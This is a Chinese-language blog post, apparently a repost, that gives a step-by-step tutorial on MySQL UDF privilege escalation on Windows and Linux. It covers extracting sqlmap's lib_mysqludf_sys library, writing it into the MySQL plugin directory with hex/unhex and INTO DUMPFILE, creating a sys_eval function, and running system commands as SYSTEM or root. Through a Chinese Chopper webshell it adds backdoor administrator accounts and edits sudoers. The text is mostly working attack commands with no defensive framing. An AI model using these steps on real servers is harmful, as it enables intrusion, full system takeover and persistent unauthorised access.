欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

mysql数据库提权之——UDF提权

程序员文章站 2022-05-15 20:15:21
...

介绍

UDF是mysql的一个拓展接口,UDF(Userdefined function)可翻译为用户自定义函数,这个是用来拓展Mysql的技术手段。

原理

UDF可以理解为MySQL的函数库,可以利用UDF定义创建函数(其中包括了执行系统命令的函数),要想利用udf,必须上传udf.dll作为udf的执行库,mysql中支持UDF扩展 ,使得我们可以调用DLL里面的函数来实现一些特殊的功能

windows-mysql-udf提权

1.获取udf.dll
 将sqlmap\data\udf下的dll_文件,复制到sqlmap\extra\cloak,命令行输入cloak.py -d -i lib_mysqludf_sys.dll_即可得到

mysql数据库提权之——UDF提权

2.上传udf.dll
上传地址:
mysql版本 < 5.1 , UDF导出到系统目录c:/windows/system32/
mysql版本 > 5.1 ,UDF导出到安装路径MySQL\Lib\Plugin\
寻找安装路径:

show variables like '%plugin%'  或  select @@basedir(该目录默认是不存在的,这就需要我们使用webshell找到MYSQL的安装目录,并在安装目录下创建lib\plugin文件夹,然后将udf.dll文件导出到该目录即可)

mysql数据库提权之——UDF提权
上传: 直接上传没有权限,可通过mysql语句写入
2.1以二进制读取udf.dll内容,并将结果转为十六进制

select hex(load_file("C:\\Users\\Administrator\\Desktop\\udf.dll")) into dumpfile'C:\\Users\\Administrator\\Desktop\\111.txt' ;

mysql数据库提权之——UDF提权
2.2菜刀的数据库管理处输入以下命令,文件即可上传

select unhex ('111') into dumpfile "C:\\Program Files\\MySQL\\MySQL Server 5.5\\lib\\plugin\\udf.dll";

111替换为刚刚的16进制字符串

mysql数据库提权之——UDF提权

mysql数据库提权之——UDF提权

3.利用udf.dll创建用户自定义函数
菜刀的数据库管理处输入输入以下命令(udf.dll处替换上传的dll文件名)

create function sys_eval returns string soname 'udf.dll'

mysql数据库提权之——UDF提权

4.执行系统命令
菜刀的数据库管理处输入以下命令,看到用户为system

select sys_eval("whoami")

mysql数据库提权之——UDF提权

5.之后创建新用户并加入管理员组即可

5.1菜刀的数据库管理处输入

select sys_eval("net user qq 123.com /add")

mysql数据库提权之——UDF提权

5.2再输入

select sys_eval("net localgroup administrators qq /add")

mysql数据库提权之——UDF提权

linux-mysql-udf提权

条件:my.ini配置错误,mysql以root权限运行
Linux的mysql默认是mysql用户 ,此处手动将mysql的用户修改为root用户

mysql数据库提权之——UDF提权

1.获取udf.dll
sqlmap\data\udf下的so_文件,复制到sqlmap\extra\cloak,命令行输入cloak.py -d -i lib_mysqludf_sys.so_即可得到

mysql数据库提权之——UDF提权

2.上传udf.dll
上传地址:
默然安装路径/usr/lib64/mysql/plugin/
寻找安装路径:
show variables like '%plugin%'  或  select @@basedir

mysql数据库提权之——UDF提权
上传:直接上传没有权限,可通过mysql命令
2.1以二进制读取so.dll内容,并将结果转为十六进制

select hex(load_file("C:\\Users\\Administrator\\Desktop\\udf.so")) into dumpfile'C:\\Users\\Administrator\\Desktop\\222.txt' ;

mysql数据库提权之——UDF提权
2.2菜刀的数据库管理处输入以下命令,111替换为刚刚的16进制字符串

select unhex ('111') into dumpfile '/usr/lib64/mysql/plugin/udf.so';

mysql数据库提权之——UDF提权

mysql数据库提权之——UDF提权

3.利用udf.dll创建用户自定义函数

菜刀的数据库管理处输入以下命令,udf.so处替换上传的so文件名

create function sys_eval returns string soname 'udf.so'

mysql数据库提权之——UDF提权

4.执行系统命令
菜刀的数据库管理处输以下命令,看到用户为root

select sys_eval("whoami")

mysql数据库提权之——UDF提权

5.之后创建一个xxx用户,修改密码,并添加到管理员组

5.1创建:

select sys_eval("useradd lp")

mysql数据库提权之——UDF提权
5.2修改密码:

select sys_eval("echo '123456' | passwd lp --stdin")

mysql数据库提权之——UDF提权
5.3添加到管理员组:

select sys_eval("gpasswd -a lp wheel")

mysql数据库提权之——UDF提权
5.4之后去掉etc/sudoers里105行的wheel前的#(可使用覆盖形式)即可

 

 

 

 

 

 

 

 

 

 

相关标签: 后渗透